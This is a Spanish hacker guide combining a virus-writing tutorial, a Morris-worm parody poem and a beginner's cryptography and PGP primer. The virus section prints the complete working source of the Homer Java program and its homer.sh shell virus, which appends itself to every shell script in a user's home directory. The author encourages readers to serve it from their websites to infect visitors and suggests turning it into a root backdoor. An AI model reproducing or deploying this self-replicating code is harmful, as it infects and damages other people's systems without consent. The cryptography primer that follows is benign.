A causa de este problema, los programas comerciales vienen con instrucciones completas de cómo rearrancar el ordenador para limpiarlo. Si no sigues las instrucciones exactamente, puedes terminar como yo, añadiendo en tu ordenador otro virus, en vez de erradicar uno.

Puesto que, según Ludwig, existen muchos virus para los que no hay antivirus, deberíamos procurar evitar infectarnos. ¿Cuáles son las precauciones, incluso para aquellos que tienen antivirus comerciales, que se deben tomar? Aquí están mis principales recomendaciones:



 

Virus informáticos (II)


Cómo escribirlos


¡Espera! ¡Espera! ¡Se supone que esto es sobre hacking casi inofensivo! ¿Realmente vas a explicarle a los novatos cómo escribir virus?

Sí. Voy a explicarte realmente cómo escribir virus, no a utilizar algún programa para patanes como Virus Workshop, que te escribe débiles y desvalidos virus. Sin embargo, para usar la información en esta Guía, debes saber cómo compilar Java o usar lenguaje ensamblador. Si lo dominas, probablemente tengas suficiente voluntad para trabajar duro y no abusarás del conocimiento de cómo programar un virus. Al menos esa es mi teoría. ¡Por favor, no me demuestres que estaba equivocada!

Además, la única forma de luchar contra los virus peligrosos es conocer exactamente cómo se hacen.

Primero, si eres como yo, ya debes de haber luchado contra la tentación de instalar un virus de Java en tu sitio Web para infectar a los visitantes imprudentes. Sí, realmente te voy a mostrar cómo hacer eso. Sin embargo, esto son virus (casi) inofensivos. (¡Maldita sea!)


Aviso de cárcel: esta Guía sólo ofrece código fuente de virus (casi) inofensivos. Sin embargo, hay gente tan asustada y con tan poco conocimiento de los virus, que puedes meterte en un buen lío si pones realmente un virus de Java en tu sitio Web.

Sugerencia: Si no puedes resistir la tentación, puedes poner un mensaje intermitente como "¡Peligro! ¡No hagas click aquí! Si lo haces, puedes coger un virus. ¡De veras! ¿¡Cómo podría mentirte!?"


Aviso de puñetazo en la nariz: hay gente a la que no le importa si un virus es (casi) inofensivo o completamente inofensivo. Son gente aterrorizada por los virus. Si algún tío visita tu sitio Web y coge tu virus y se pone histérico y te demanda, o va a por ti y te sacude en la nariz, recuerda, te lo buscaste. No esperes que sienta pena por ti.


Bien, amigos. Aquí está: un virus de Java. El siguiente código fuente del virus Homer está disponible en el disco que acompaña "The Giant Black Book of Computer Viruses" del Dr. Mark Ludwig:

/* Homer.java by Mark D. LaDue */ 
/* 7 de diciembre, 1996 */ 
/*  Copyright (c) 1996 Mark D. LaDue 
     Se permite estudiar, usar y distribuir este ejemplo para cualquier
           propósito. Este ejemplo es suministrado SIN GARANTIA expresa o
           implícita.
*/ 
/* Esta aplicación Java infecta tu sistema UNIX con un virus para el 
intérprete de comandos Bourne (bsh), el homer.sh. homer.sh tiene la 
bondad de anunciarse a sí mismo e informarle que "Java es seguro y no 
existen los virus para UNIX" antes de encontrar todos los scripts de 
shell Bourne en el directorio, chequeando si ya había sido infectado 
e infectando los que no lo estaban. homer.sh contamina cualquier otro 
script de shell Bourne simplemente añadiendo una copia operativa de 
sí mismo al final del script.*/
 
import java.io.*; 
class Homer { 
    public static void main (String[] argv) { 
    try { 
        String userHome = System.getProperty("user.home"); 
        String target = "$HOME"; 
        FileOutputStream outer = new FileOutputStream(userHome + "/.homer.sh"); 
        String homer = "#!/bin/sh" + "\n" + "#-_" + "\n" + 
        "echo \"Java es seguro y no existen los virus para UNIX\"" + "\n" + 
        "for file in `find " + target + " -type f -print`" + "\n" + "do" + 
        "\n" + "    case \"`sed 1q $file`\" in" + "\n" + 
        "        \"#!/bin/sh\" ) grep '#-_' $file > /dev/null" + 
        " || sed -n '/#-_/,$p' $0 >> $file" + "\n" + 
        "    esac" + "\n" + "done" + "\n" + 
        "2>/dev/null"; 
        byte[] buffer = new byte[homer.length()]; 
        homer.getBytes(0, homer.length(), buffer, 0); 
        outer.write(buffer); 
        outer.close(); 
        Process chmod = Runtime.getRuntime().exec("/usr/bin/chmod 777 " + 
                        userHome + "/.homer.sh"); 
        Process exec = Runtime.getRuntime().exec("/bin/sh " + userHome + 
                       "/.homer.sh"); 
        } catch (IOException ioe) {} 
    } 
}

Si pones este código en tu web... ¡no hará nada! Primero hay que compilar el código para que pueda realizar su función. Si no sabes compilar código fuente Java para tu página Web, no sabes lo suficiente para poder manipular virus de manera segura.

Además, necesitas poner el código para el script, homer.sh, en tu sitio Web, de manera que este programa Java pueda mandárselo a tus víctimas. Este es el código de homer.sh:

 
#!/bin/sh 
#-_ 
echo "Java es seguro y no existen los virus para UNIX" 
for file in `find $HOME -type f -print` 
do 
    case "`sed 1q $file`" in 
        "#!/bin/sh" ) grep '#-_' $file > /dev/null || sed -n '/#-_/,$p' $0 >> $file 
    esac 
done 
2>/dev/null 

En caso de que te estés preguntando qué hace el virus... Muestra un mensaje en la pantalla de la víctima "Java es seguro y no existen los virus para UNIX". Para más información sobre cómo trabajan los scripts de shell, consulta la Guía sobre programación shell.

Homer es un virus de shell inofensivo y chistoso. Sin embargo, no se necesita ser un genio para ver cómo puede convertirse en algo destructivo modificando homer.sh. Si alguien es lo suficientemente estúpido como para visitar tu sitio Web mientras está trabajando como root, puede ser trivial utilizar un homer.sh modificado para crear una puerta trasera personalizada.

Sin embargo, en general, los virus de Java no son tan terriblemente peligrosos, porque se ejecutan muy lentamente. Esto le da tiempo a las víctimas de sospechar y "matar" los ejecutables. Un virus de Java tardará mucho en crear una shell de root y una puerta trasera, así que la víctima podrá matar el proceso a tiempo.


Nota para principiantes: Nunca navegues mientras trabajas como root. No intentes forzar la seguridad de la computadora de otros mientras trabajas como root. Cuando trabajas como superusuario, es fácil que te cargues tu propio Unix. Si revisas el "log de intentos de acceso por phf" en la sección Hacker Wargame de http://www.happyhacker.org, verás que muchas personas tratan de irrumpir en nuestros servidores Web mediante un explorador y trabajando como root.


El problema de que algunos programas vayan muy lentos es una de las mayores razones del por qué no puedes hacer mucho como programador de virus o de antivirus a menos que también aprendas al menos un lenguaje ensamblador. ¡El lenguaje ensamblador es rápido! ¡La víctima no tiene tiempo de reaccionar! También te facilita hacer cosas complejas y endemoniadas mientras el ordenador está arrancando. Para DOS y Windows necesitarás un compilador del lenguaje ensamblador para procesadores de la familia 80x86 (cambia la x por 2, 3, 4, 5) o Pentium. Dos de los mejores son Microsoft Macro Assembler y Borland Turbo Assembler. Puedes obtenerlos (y pagar, no son gratis) en http://www.pparadise.com y http://www.supershops.com.

Si realmente estás interesado en aprender cómo escribir virus y antivirus, puedes hacerte con "The Giant Black Book of Computer Viruses", del Dr. Mark Ludwig. Este autor no sólo es uno de los principales investigadores de virus del mundo, también es el único que he descubierto que te dice EXACTAMENTE, con detalles casi interminables, cómo escribir virus y antivirus de muchos tipos. Sin embargo, este libro no es para principiantes. Se asume que ya se conoce mucho sobre DOS, Windows, Unix y que se es un programador.

El libro viene con un disco con el código fuente de muchos virus. Aquí tienes algunas indicaciones de cómo extraer estos virus del disco sin destruir tu ordenador.

¡¡ADVERTENCIA!!

Si eres como la mayoría de los usuarios de ordenadores, habrás crecido acostumbrado a que te mimen. Es un modo agradable de decir que los desarrolladores de software no esperan que tengas cerebro. Como un mono tonto, todo lo que necesitas es poner el CD en el lector y dejar que se autoejecute, o meter el disquete en la disquetera y escribir "setup".

Si esto es todo lo que quieres y necesitas de los ordenadores, ENTONCES BORRA ESTE SOFTWARE DE TU ORDENADOR INMEDIATAMENTE Y DESTRUYE EL DISCO CON UN MARTILLO! No es broma. Este disco es para seres pensantes. Usado de manera inadecuada puede ser muy peligroso. Podría arruinar tu ordenador, tu carrera y tu vida. ESTO NO ES UNA NINGUNA BROMA.

NO EJECUTES NINGÚN PROGRAMA DE ESTE DIRECTORIO A MENOS QUE SEPAS QUÉ HACE.

NO EJECUTES NINGÚN PROGRAMA DE ESTE DIRECTORIO FUERA DE UN AMBIENTE CONTROLADO.

Supongo que no has podido resistirte a comprar el libro. Pues no puedes obtenerlo en ninguna librería. Todas tienen miedo de ser demandadas. Además, en algunos países, la sola posesión de "The Giant Black Book of Computer Viruses" es ilegal. Por tu seguridad, puedes borrar esta Guía ahora mismo y leerla sólo desde nuestro sitio Web en http://www.happyhacker.org. Si estás absolutamente decidido a tener este libro, en EEUU puedes pedirlo llamando al (código de país aquí) 520-367-1621. Cuesta 39.95 dólares. El precio incluye el disquete con todas esas cosas que molestan a tu antivirus. Los costes de transporte y manipulación no están incluidos.

Si vives en EEUU, también puedes comprar "The Giant Black Book of Computer Viruses" enviando 44.95 dólares (esto incluye el envío mediante correo urgente, que se supone que tarda dos días) a M/B Research, PO Box 1520, Cedar Crest NM 87008. Esta es mi compañía. Lo siento, no voy a enviar el libro fuera de los Estados Unidos porque no sé en qué países es ilegal. Me sentiría realmente mal si fueras a tu oficina de correos a recoger el libro y la policía te detuviera.

American Eagle puede llevarte el libro al menor costo de transporte, si no te importa cuánto tiempo tarda en llegar. Yo puedo mandártelo más rápido, pero te costará más.

Si quieres pagar "The Giant Black Book of Computer Viruses" con una tarjeta de crédito en Internet, busca en http://www.amazon.com y en http://www.infowar.com. Sin embargo, Amazon.com usualmente tardará mucho más.


Cómo escribir virus y no ser linchado


Imagínate cómo reaccionará la gente en una fiesta llena de jóvenes y ambiciosos profesionales, donde todo el mundo está intercambiando tarjetas de visita, si en la tuya dice: "George el Endemoniado. Diseñador de virus de computadoras. Ejemplos gratis, jua jua jua." Serás realmente famoso, ¡¡sí señor!!

Bien, así que tu plan es escribir virus inofensivos. Intenta explicarle eso a la masa enfurecida que vendrá a visitarte cuando descubran que fuiste tú quien escribió el código que hizo que sus ordenadores con Win95 se vinieran abajo con el mensaje habitual de Error de Protección General. Recuerda, aunque un diseñador de virus tenga las mejores intenciones escribiendo un virus aparentemente inofensivo, o hasta uno beneficioso, puede cometer accidentalmente un error dañino en algún punto de su código. Además, como los mejores virus son residentes en memoria (se ocultan en la memoria RAM) sí que pueden ocasionar un Error de Protección General tan sólo por utilizar demasiada memoria.

Además, a las personas les gusta escoger qué programas se ejecutan en sus computadoras. Si diseñas un virus que furtivamente se ejecute en diversos ordenadores, no esperes que sus dueños te lo agradezcan y te alaben por eso. Si decides programar un virus, por favor, considera la opción de ser cortés. Puedes pedir permiso antes de ocupar un nuevo ordenador y dejarlo cuando se te pida. Es decir, si yo encuentro una copia de un virus que hace una imagen simétrica de la imagen del escritorio de Windows cada sábado y sé como desinstalarlo sin pagar muchísimo dinero a Panda Software, disfrutaría compartiendo mi ordenador con el virus.


Vida artificial


Ahora que entiendes los principios básicos de la programación de virus, llegamos a la Gran Diversión: usar tus habilidades como programador para crear -o luchar contra- la vida artificial.

En fin, ¿exactamente qué es la vida artificial (los entendidos la llaman "alife")? Según el más destacado investigador en este campo, el Dr. Chris Langton, la vida artificial es "...el estudio de sistemas hechos por el hombre que exhiben características de comportamiento de los sistemas vivos." - "Artificial Life", Chris Langton, Addison-Wesley, 1988. Puedes obtener este libro en http://www.amazon.com.

Existen tres formas primarias de vida artificial. Hay vida artificial creciendo -o intentando crecer- en tubos de ensayo llenos de ARN (ácido ribonucleico) u otros compuestos químicos. Una segunda forma de vida artificial consiste en robots computerizados que sus creadores creen que podrán un día obtener la habilidad para adaptarse y reproducirse sin ayuda humana. La tercera forma de vida artificial son los programas de ordenador que existen, se adaptan, reproducen y desarrollan en el mundo del ciberespacio, lo que nosotros conocemos como virus informáticos.

De todas las formas de vida artificial, los virus son los únicos que pueden reproducirse, escapar del laboratorio y tener vida en el mundo real. Los virus que siguen reglas de buen comportamiento -sólo viven en los ordenadores a los que se les ha invitado- son creados a menudo por investigadores de vida artificial.

¿Puedes conocer y relacionarte con diseñadores de vida artificial? En http://alife.santafe.edu/alife/events/ y http://alife6.alife.org/ ofrecen listas de conferencias sobre este tema que se realizarán en todo el mundo. Relacionada con la vida artificial está la Iniciativa Berkeley en Cálculo Suave (BISC, por sus siglas en inglés: Berkeley Initiative in Soft Computing) en http://http.cs.berkeley.edu/projects/Bisc. Si quieres alojar voluntariamente virus de vida artificial en tu ordenador o LAN, probablemente puedas encontrar un investigador en uno de esos sitios que te dará algunas de sus inofensivas (eso esperamos) creaciones.

American Eagle también vende el libro "Computer Viruses, Artificial Life and Evolution", del Dr. Ludwig (American Eagle, 1993). Cuesta 26.95 dólares y es casi imposible que lo obtengas a menos que lo pidas directamente a American Eagle.


Virus y Humor


Como hemos terminado esta guía, recuerda por favor cuál es la actitud correcta, ¡los virus pueden ser divertidos! La próxima vez que tu computadora reciba uno, recuérdalo: no te preocupes, sé feliz. A continuación, un poco de "humor virulento", para mostrar cómo otros se han enfrentado alegremente a un encuentro con esta molesta forma de vida.

"El gusano de antes de Navidad"

por Clement C. Morris (alias David Bradley, Betty Cheng, Hal Render, Greg Rogers, y Dan LaLiberte).

[Traducción libre de los revisores Luis Díez y José Luis Martín]

La noche antes del examen, en el laboratorio
Ningún estudiante dormía, ni tan siquiera Honorio.
Sus proyectos terminados, acabados cuidadosamente,
Esperando notas buenas (y repartidas justamente).
Los estudiantes, con la cafeína, estaban de una pieza,
Mientras las visiones de las notas los traían de cabeza.
Con pilas de libros y rotulador en la boca,
Me iba a preparar para otra noche loca.
Cuando de fuera de nuestras redes se oyó un clamor,
Me levanté de mi escritorio lleno de temor.
Hacia la consola como un rayo volé,
Y para detener la crisis como root entré.
Las pantallas que mostraba mi nueva Sun-3,
Ofrecían información - alguna en 3-D
Entonces aparecieron ante mis ojos destrozados,
Del usuario "nobody" trabajos desbocados.
Una súbita invasión, firme y sin aliento,
¡El gusano de Morris!, lo supe al momento,
Veloces como rayos sus procesos llegaban,
Y se replicaban, ejecutaban y por nombre copiaban:
¡Dasher! ¡Dancer! ¡Prancer y Vixen!
¡En Cometa! ¡En Cupido! ¡En Donner y Blitzen!
En los servidores de .rhosts y del host.equiv
¡Al ataque! ¡Al ataque! ¡Al ataque sin fin!
Y de golpe las quejas en llamadas llegaron
(los usuarios, ¿aún no marcharon?)
"¡Hay mucha carga!" "¡No puedo leer mis ficheros!
¡No puedo enviar el correo a mis compañeros!"
Desconecté la red, y vagué deshecho
Cuando el sistema infestado cayó maltrecho.
Me preocupé, desgasté, sudé y lloré.
Y envié al gusano al /tmp.

 

Era listo y penetrante, la mar de cauteloso,

Y reí, cuando lo vi, aunque estaba pesaroso.

Una mirada al volcado de ese thread invasor

Me hizo saber que no había lugar al temor.

El día siguiente fue lento y sin conexiones,

Pero no queríamos más molestas infecciones.

Pero a pesar de las noticias, el bullicio y el ruido,

después fue como si nada nos hubiese ocurrido.

Más tarde en ese mes, cuando nadie había,

Llegó un virus sin alevosía.

Me dijo el sistema, esta vez no hecho un Cristo:

"¡Feliz Navidad! (aunque no seas el más listo)".


EL MANUAL MÍSTICO-MÁGICO DE CRIPTOGRAFÍA (I)


Por Tim "Sin Apodo Siniestro" Skorick (TIM_SKORICK@non-hp-usa-om7.om.hp.com)

Agradecimientos por las sugerencias y comentarios: Carolyn Meinel (¡por supuesto!), Bruce Schneier, John Young, Mark Skorick, Eric Brisnehan, mamá, papá, kenspiraC, Rahul Bheemidi, venMus, Everett Gidlund, Gomez, Skip Stavis, Jon Tempest y Prabaker Balasubramanium. Por último, pero no menos importante, un emocionado "gracias" lleno de lágrimas a Juan Valdés por traer café 100% de Colombia, el mejor café del mundo.

Primera Parte: la cripto-base

Qué es lo que voy a contaros
 
La base
 
Cómo solían hacerlo 
El cifrado de Julio César 
¿Qué es exactamente un algoritmo? 
La clave de todo 
¿Cómo se crea una clave? 
Más Historia de la Criptografía 
 
Cómo lo hacen hoy 
Las claves todavía son importantes, pero no 
son lo único 
¿Qué es un "ataque de fuerza bruta"? 
¿Qué significa el término "clave pública"? 
¿Qué es un Diffie-Hellman y quién es RSA? 
 
¿Cuál es la forma sencilla de meterse en esto? 
PGP, y dónde conseguirlo 
Jugando con PGP 
Cómo conseguir la clave pública de alguien 
Qué hace PGP realmente 
 
Otras formas de empezar a usar cifrado 
Cómo hacer segura la conexión con Netscape 
 
Resumen 
No todo lo que confunde es cifrado 
Cuidado con el "cifrado para niños" 
Palabras con las que tenéis que quedaros 
 
¿Queréis aprender más? 
Un poco de material de la Web 
Libros 
 
Tim, ¿quién eres y por qué haces esto?

I. QUÉ VOY A CONTAROS

Bien, algunos de vosotros tenéis un concepto general de lo que se supone que hace la criptografía, y cuáles son sus limitaciones. Muchos de vosotros posiblemente tenéis un buen conocimiento de las matemáticas que se usan en esto. Este manual no os dirá nada que no sepáis.

Estoy escribiendo esto para los principiantes en el cifrado, que nunca han usado criptografía y que no tienen ni idea de cómo funciona, y les gusta la idea de empezar desde la base. Y no va a ser breve.

Hay mucha ciencia, Historia, teoría y otras cosas que una persona tiene que aprender para conocer rápidamente las bases de la criptografía. PERO, al igual que con la mayoría de las cuestiones relacionadas con ordenadores, es mucho más simple de lo que se piensa la gente.

Cuando terminéis de leer esto, podréis emplear una tonelada de cripto-palabras muy cañeras para impresionar a vuestros colegas, y seréis unos criptotíos con suficientes conocimientos como para saber qué es criptografía real y evitar la "criptografía para niños".

II. LA BASE (o "¿Qué...?")

Bien. Os preguntáis, "¿qué demonios es la criptografía?". Bien, os lo diré. (Esto es la cripto-base, tíos).

Cualquiera de nosotros puede tener la necesidad en algún momento de enviarle a alguien un mensaje que se mantenga en secreto. La privacidad hoy en día es muy importante, cuando vosotros enviáis un correo electrónico a un amigo, cuando vuestro doctor envía por fax vuestro historial médico a la compañía de seguros, cuándo encargáis comida por teléfono (y usáis vuestra tarjeta para pagar), cuando queréis guardar el diseño de vuestra última herramienta de desarrollo... La criptografía es la técnica que consiste en coger un mensaje normal y darle mil vueltas hasta que quede completamente ilegible al 100% para todo el mundo, excepto para la persona que se supone que debería ser la única que lo leyera.

Todo el asunto de la cripto está dentro del campo de la "Criptología". Hay varias disciplinas dentro del la Criptología. La "Criptografía" es la técnica destinada a la creación de los esquemas empleados en todo el proceso. El "Criptoanálisis" es la disciplina que estudia la forma de romper lo que consiguen los criptógrafos. La mayoría de los criptógrafos de gran nivel son gente que dedicó MUCHO tiempo y esfuerzos al criptoanálisis, ya que así saben lo suficiente para evitar esos errores tontos que cometen los criptógrafos.

La gente ha estado haciendo esto desde hace mucho tiempo.

III. CÓMO SE SOLÍA HACER (o "Cuidado con los idus de marzo")

A. El cifrado de Julio César


"Lección de Historia Ni Exacta Ni Aburrida" nº 743: El Criptograma Antiguo Más Famoso del Mundo

¿Recordáis a Julio César? Cuando estaba conquistando el mundo, tenía que enviar mensajes a una y otra parte a través de territorio enemigo. Algunas veces tenía que enviar a sus tropas información realmente importante, y sus generales tenían que disponer de alguna forma de alterar el mensaje para evitar que los enemigos, galos u otros, leyeran el mensaje si capturaban al mensajero. Esta alteración del mensaje es denominado "cifrado" de un texto. Pero esto es lo importante: sería realmente estúpido hacer esto a no ser que haya alguna manera de que la gente que SE SUPONE que ha de leerlo no tenga problemas "descifrándolo". Descifrar es "des-alterar" el texto que fue cifrado.

Esto es lo que hacían. Escribían el texto del mensaje:

"Eh, Bruto, ésta es mi receta de ensalada, dásela a Marco Antonio el 15 de marzo y házme un favor, afílame los cuchillos".

Entonces cogían cada letra del mensaje y la sustituían con la letra que estaba cuatro posiciones más allá en el alfabeto. Esto hacía que el mensaje tuviera este aspecto:

"Il, Fvyxs, iwxe iw qm vigixe hi irwepehe, hewipe e Qevgs Erxsrms ip 15 hi qevds c ledqi yr jezsv, ejnpeqi psw gyglmppsw".

Cuando el destinatario del mensaje lo recibía, simplemente tenía que tomar cada letra, y sustituirla por la letra que estuviera cuatro posiciones ANTES en el alfabeto. Así obtendría de nuevo el "texto en claro" y podría ir a comprar lechuga romana y picatostes.

Bien, ¿no? Así que si el pobre pardillo encargado de entregar la carta era capturado por una horda de galos, el enemigo no sabría qué decía el mensaje. Por supuesto, César habría escrito en latín, así que de todas maneras, ¿quién podría entenderlo? Pero la clave del asunto es: usaron lo que se denomina un "cifrado de sustitución" con una "clave" que era simplemente "cuenta cuatro letras hacia adelante en el alfabeto". ¿Lo cogéis?

Un "cifrado de sustitución" crea el texto cifrado simplemente sustituyendo una parte del texto con una parte diferente. Es un sistema viejo, inseguro y no se usa hoy en día, salvo en juegos de Primaria, pero sea como sea, tiene una cosa en común con todos los criptosistemas: al igual que cualquier cifrado, es inútil a no ser que haya una clave que el receptor pueda emplear para convertir el texto cifrado en texto claro.


B. ¿Qué es exactamente un algoritmo?


Hoy en día usamos algoritmos realmente complejos, pero incluso entonces había un algoritmo implicado en el proceso. Os va a encantar eso: un "algoritmo" es simplemente un conjunto de pasos que se han de seguir para resolver un problema. Se siguen los pasos hasta llegar al final y resolver el problema.

Ahora no me volváis loco diciendo "¿qué problema? ¿De nuevo Matemáticas?". En cierta forma es así, pero en el caso de un algoritmo, el problema es resolver el que el mensaje está en español y se ha de cifrar de alguna forma. ¿Lo véis? No tiene ningún misterio.

El algoritmo usado para cifrar con un cifrado de César tenía lugar en las cabecitas de la gente en lugar de en un ordenador y era así:

1. Coger una letra en texto claro. 
2. Contar cuatro letras hacia adelante en el alfabeto. 
3. La letra obtenida es el texto cifrado 
4. Escribir esa letra. 
5. Continuar con la siguiente letra del texto claro.

¡Acabáis de leer un algoritmo!

Los tíos empezarían al principio del mensaje y seguirían hasta que se completara el cifrado. Los pasos de descifrado eran los mismos pero a la inversa, contando cuatro letras HACIA ATRÁS en el alfabeto. Eso es un algoritmo.

Los algoritmos usados para cifrar hoy en día son bastante complicados, pero se basan en la misma idea de hacer un cálculo matemático y convertirlo en un proceso automático que siga hasta resolver el problema, en este caso el problema de cifrar y descifrar cosas. ¿Habéis leído nombres como "RSA", "IDEA", "DES", "Blowfish", "CAST", y "El Gamal"? Esos son los algoritmos populares (excepto DES; DES es el antiguo e impopular que se está volviendo un poco viejo y gastado).

Para hacer que las cosas sean más confusas, algunas veces los algoritmos que cifran o descifran son diferentes. Hablaremos del por qué de esto más adelante, pero simplemente recordad que el "algoritmo de cifrado" convierte el texto claro en texto cifrado y que el "algoritmo de descifrado" convierte el texto cifrado en texto claro.

Y ahora...

C. La clave de todo


Muy bien, tíos, esta es la parte divertida. ¡La clave del criptosistema! Las claves son muy importantes. Una clave es la información especial que emplea el algoritmo en su trabajo de cifrado y descifrado de mensajes.

Si estáis pensando en una clave como la llave con la que cerráis la puerta de casa, habéis dado en el clavo. La llave de vuestra casa tiene que encajar perfectamente en la cerradura. Tiene que ser capaz de abrir Y cerrar la puerta. Más importante aún, tiene que ser diferente del resto de las llaves para que vuestra vecina no pueda colarse en vuestra casa cerrada con SUS llaves y comerse vuestras patatas y vuestro guacamole. ¡Como si viviera allí o algo así, puajjj! Me cabreo cuando eso pasa. Las llaves son importantes.

La clave del criptosistema es lo que hace que el cifrado sea diferente para todos los que lo usan. La gente tiene que usar el mismo algoritmo para cifrar y descifrar, así que tiene que haber algo en la cadena que haga que vuestro cifrado sea especial. El algoritmo TIENE que tener una clave especial, distinta de la de los demás.

En los viejos tiempos la gente usaba como claves palabras de paso, como citas de la Biblia y refranes. Después se usaron números. La gente lista usaba ambas cosas. Lo que podían usar como clave dependía mucho del tipo de sistema que usaran.

Cuando echamos un vistazo a las claves de hoy en día, parecen grandes barullos de números y caracteres y vete tú a saber qué más. Estas son las primeras líneas de una de mis claves públicas, mirad:

 -----BEGIN PGP PUBLIC KEY BLOCK----- 
 Version: PGP for Personal Privacy 5.0 
 
 mQGiBDU3uhARBAD6JcwWAU68HZUtONoew0sB24wr5v9YCDEPHy4rb/141+l4pOOh 
 qgvogHAaulE6qmy8fePWuPtJKGOJXoVKlalZIs1ibi+aiOwqwFDHTEp8dQBlHXDB 
 edc+USPh7WBms08RmEHotZwrJJfBdKWLjldzoe5oBLSb+LKs5Q+SB8GjMwCg/3C2

Vaya. Una cosa importante: esta es la forma "texto" de presentar algo que el ordenador ve realmente digital. Si se mirara la versión digital "binaria" (es decir, con unos y ceros) de la misma clave, el formato con el que trabaja el algoritmo, sería bastante más grande y sería como esto:

 110101 110011 10001110010011 111110100101010101011010 110011 
 1111101001 10101010110 0011111010010101 1010110100 100101011 
 110101 110011 00101010101011010 110011 10001110010011 111110 
 

...y más y más y más....

Ejercicio


Imaginad por un momento que sois el algoritmo. Sois el proceso que repite el programa una y otra vez para cifrar los datos. Esto es lo que haríais:

En primer lugar, estariáis esperando dentro del PC y deseando que el aire acondicionado funcionara. Entonces el usuario empezaría a escribir una carta que querría cifrar. Tan pronto como hiciera un click en el programa para cifrar el mensaje, el programa os daría una patada en el culo y os pondría en marcha.

Cogeriáis la clave de esa persona en una mano, y una pequeña parte del mensaje en la otra, y empezaríais a mezclarlo todo y amasarlo hasta terminar con esa parte del mensaje. Cogeríais la siguiente parte del mensaje, la misma clave, y haríais lo mismo. Repetiriáis esto hasta que pareciera que todo el texto había pasado por una picadora.

Sabriáis cuándo habríais terminado vuestro trabajo con cada parte del texto (llamadas "bloques" por la gente del mundo de la criptografía) cuando hubieráis realizado todos los pasos (llamados "iteraciones" por la gente del mundo de la criptografía) que se suponía que teníais que realizar con ese bloque. Eso sería la señal para continuar con el siguiente bloque. Sabríais que habríais terminado con todo cuando os quedárais sin partes de texto para cifrar, o debería decir- cuando se agotaran los "bloques" de "texto claro" con los que realizar "iteraciones".

Hacedme un favor, pensad en si habéis entendido o no esa última frase antes de empezar a leer este párrafo... sonaba bien de todas formas, jejeje

. Así que resumiendo: el algoritmo hace toda la extraña mezcla de vuestro mensaje usando como herramienta la clave única. Esto es lo que hace que el cifrado de un mensaje sea diferente para cada persona, porque cada persona tiene una clave diferente.

Así que esa es la parte del algoritmo donde la clave "encaja".

¿Lo cogéis? "Encaja"... No importa.

 

 

EL MANUAL MÍSTICO-MÁGICO DE CRIPTOGRAFÍA (II)


Por Tim "Sin Apodo Siniestro" Skorick (TIM_SKORICK@non-hp-usa-om7.om.hp.com>)

V. ¿CUÁL ES LA FORMA SENCILLA DE METERSE EN ESTO?

A. PGP y dónde conseguirlo


Muy bien, los que seáis cipherpunks sabíais que esto iba a llegar. Claramente la forma más fácil de jugar con la criptografía es hacerse con una copia gratuita de PGP. PGP son las siglas de "Pretty Good Privacy", "Privacidad Bastante Buena", y fue creado hace ya un tiempo por un profesor de Matemáticas sumamente divertido llamado Phil Zimmerman. Era un programa que sólo tenía línea de comandos, por lo que teníais que usar todos esos comandos con sintaxis de DOS y parámetros y todo eso, y no había ninguna ventana en la que usar el ratón. Finalmente, ellos (Phil y sus amigos) sacaron una versión con ventanas, pero entonces lo vendieron todo a una compañía llamada Network Associates.


¡A por él!

Id a http://bs.mit.edu:8001/pgp-form.html. Es el web del Massachusetts Institute of Technology, donde podréis conseguir una copia de PGP. También podéis ir a http://www.nai.com/products/security/pgpfreeware.asp, pero según la versión de que se trate, sólo podréis cifrar con una clave Diffie-Hellman, y no con RSA. Si queréis usar las dos cosas, tenéis que haceros con las versiones más antiguas.

Sea como sea, tendréis que rellenar un cuestionario con el que al menos prometáis que estáis en Estados Unidos y no váis a enviar una copia del software a "Bob el UnaHacker" a algún país terrorista. Explicaré esto más adelante.

[N. de T.: para aquellos de vosotros que viváis fuera de Estados Unidos, visitad http://www.pgpi.org. Las versiones internacionales (con una "i" en el número de versión) usan tanto Diffie-Hellman como RSA].


Bien, supongamos para simplificar el asunto que váis a ejecutar PGP en algún Windows o en un Mac. No importa en cuál, funcionará casi de la misma forma.

1.      Instaládlo en vuestro ordenador.

2.      Cuando os pregunte qué tipo de clave queréis generar, elegid para empezar Diffie-Hellman.

3.      Cuando os pregunte el tamaño de la clave que queréis, coged el más grande (sí, demonios, ¿por qué no?).

4.      Entonces tendréis que introducir datos aleatorios con vuestro teclado, para después ver una divertida animación.

5.      Y así termina todo. De lo primero de que os daréis cuenta es que os da las claves de casi todo el mundo que ha trabajado en PGP. Da igual. Estáis listos para la criptodiversión.




A. Jugando con PGP


Lo primero es lo primero: el portapapeles es vuestro amigo. Oh, sí, haceos amigos de vuestro portapapeles. Muuuuuy importante. Llevadle a cenar, salid con su hermana, decidle que es un buen tío. Lo usaréis mucho.

Lo que hace PGP tan fácil de usar no es sólo el que funcione en tantos sistemas operativos... es que también usa las partes más simples de todos esos sistemas. Sabéis que hay funciones de "copiar" y "pegar" en muchos ordenadores, ¿no? Para copiar pulsáis Crtl-C, y escribe el texto que tuviérais seleccionado en el portapapeles, y para pegar pulsáis Ctrl-V y copia el texto en vuestro documento donde queráis. Vuestro portapapeles es la estación, así que ¿qué mejor sitio para usar funciones de cifrado y descifrado?

Así que recordad:

1. Para manejar los datos, pasadlos al portapapeles.

2. Para ver lo que habéis hecho, pasadlo del portapapeles a algún documento.

Si en algún momento queréis ver lo que hay en vuestro portapapeles, id al menú de PGP y seleccionad la opción que dice "Launch Associated Viewer" ("Lanzar Visor Asociado").

Y la diversión criptográfica funciona así:

1.      Escribid algún texto simple dirigido a vosotros mismos:

Querido Tim, deja de hacer eso con los ojos o se te quedarán así para siempre.

2.      Marcad todo el texto con el ratón.

3.      Pulsad Ctrl-C. (esto copia el texto en el portapapeles).

4.      Seleccionad del menú de PGP "Encrypt clipboard" ("Cifrar el Portapapeles").

5.      Cuando os muestre todas las claves públicas de la gente a la que escribís, elegid la vuestra.

6.      Arrastrad vuestro nombre para ponerlo en la lista de destinatarios ("recipient").

7.      Pulsad "ok." (se cifra todo lo que hay en el portapapeles, pero se deja el texto cifrado ahí).

8.      Volved a vuestro documento.

9.      Haced click debajo del texto que escribísteis...

10.  Pulsad Ctrl-V para pegar. ¡PLAF!

11.  11. ¡Mirad qué lío!

-----BEGIN PGP MESSAGE----- 
Version: PGP for Personal Privacy 5.0 
MessageID: B7gCHs7p6DU/TxZ7XFDbRklmHhdaWbBU 
 
qANQR1DBw04Djbfak/0G+g0QEACBqiGqyQEM8itHm0VGIvPovTWQwV27ARi/kScm 
Ffk+ekdHKelizo52sAzCN35+5JvO9F+rPTjgIOnDynhflfDoMc8sFJggrU+srXPR 
